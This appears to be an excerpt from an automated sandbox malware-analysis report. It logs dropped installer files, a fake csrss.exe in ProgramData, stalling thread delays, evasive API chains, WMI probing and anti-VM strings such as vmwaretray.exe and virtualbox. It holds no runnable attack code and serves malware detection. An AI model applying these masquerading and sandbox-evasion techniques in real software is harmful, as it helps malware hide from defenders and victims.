Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Window / User API: threadDelayed 4785
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 9350
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 638
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 8731
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Window / User API: threadDelayed 5041
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5485
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3542

Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\wavpackdll.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L236T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SL4B2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\utils.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-02PO8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsoxr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-5TN1E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-QIL6S.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_fx.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-G9603.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-0GFJH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\gain_analysis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-PP906.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-UBGUV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\rg_ebur128.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libdtsdec.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KUQQ9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-H05O1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\peak_scanner_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CR8EU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassdsd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\da.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\takdec.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\is-B1464.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\is-CDEOO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libwebp.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassalac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsox-3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D13DL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D8Q6V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\OptimFROG.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_tta.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\ff_helper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\raw_decode_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassopus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M81L8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-E62DC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\basscd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DEO22.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmix.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\dstt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-6NUFP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\uchardet.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassape.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L89CU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libvorbis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JG7OO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DJ7DE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\is-GNU2Q.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\daiso.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CMU2D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\tak_deco_lib.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\pcm2dsd.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswma.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-EPDGC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JORN1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-T0T9V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-3M1CR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2pcmt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\mp3gain.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-ED7G5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libmp4v2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-OBVGG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CSBEI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libFLAC_dynamic.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CEVH5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-373UE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P3O93.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-F0J9D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassflac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmidi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_ofr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\opusenc.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI65762\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\d_writer.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-647AI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-BML8E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-913NL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-J82TT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\sd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_aac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswv.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_8-27453

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_8-27653

Source: C:\Windows\explorer.exe TID: 6660	Thread sleep time: -134800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5820	Thread sleep time: -64600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep time: -30600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5928	Thread sleep time: -34600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6660	Thread sleep time: -99600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe TID: 2148	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7B24.exe TID: 5900	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\7B24.exe TID: 6636	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 1432	Thread sleep count: 9350 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 1432	Thread sleep time: -935000s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 1432	Thread sleep count: 638 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 1432	Thread sleep time: -63800s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 2520	Thread sleep count: 8731 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 2520	Thread sleep time: -873100s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 2520	Thread sleep count: 59 > 30
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe TID: 5916	Thread sleep count: 5041 > 30
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe TID: 5916	Thread sleep time: -10082000s >= -30000s
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe TID: 7120	Thread sleep count: 74 > 30
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe TID: 7120	Thread sleep time: -4440000s >= -30000s
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe TID: 7120	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5600	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Roaming\uiedafw	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7209E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	12_2_00007FF7FA7209E4
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA716744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	12_2_00007FF7FA716744
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA707850 FindFirstFileExW,FindClose,	12_2_00007FF7FA707850
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA716744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	12_2_00007FF7FA716744

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Thread delayed: delay time: 60000
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Thread delayed: delay time: 60000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\7017.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI65762\
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File opened: C:\Users\user\AppData\
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File opened: C:\Users\user\

Source: explorer.exe, 00000001.00000000.1698614968.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad allocCountbad record MACbad restart PCbad span statebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removederror responsefile too largefinalizer waitgcstoptheworldget uptime: %wgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedmemprofileratemultipartfilesneed more datanil elem type!no module datano such deviceopen event: %wparse cert: %wprotocol errorread certs: %wread_frame_eofreflect.Value.remove app: %wruntime: full=runtime: want=s.allocCount= semaRoot queueserver.versionstack overflowstart task: %wstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriodtoo many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
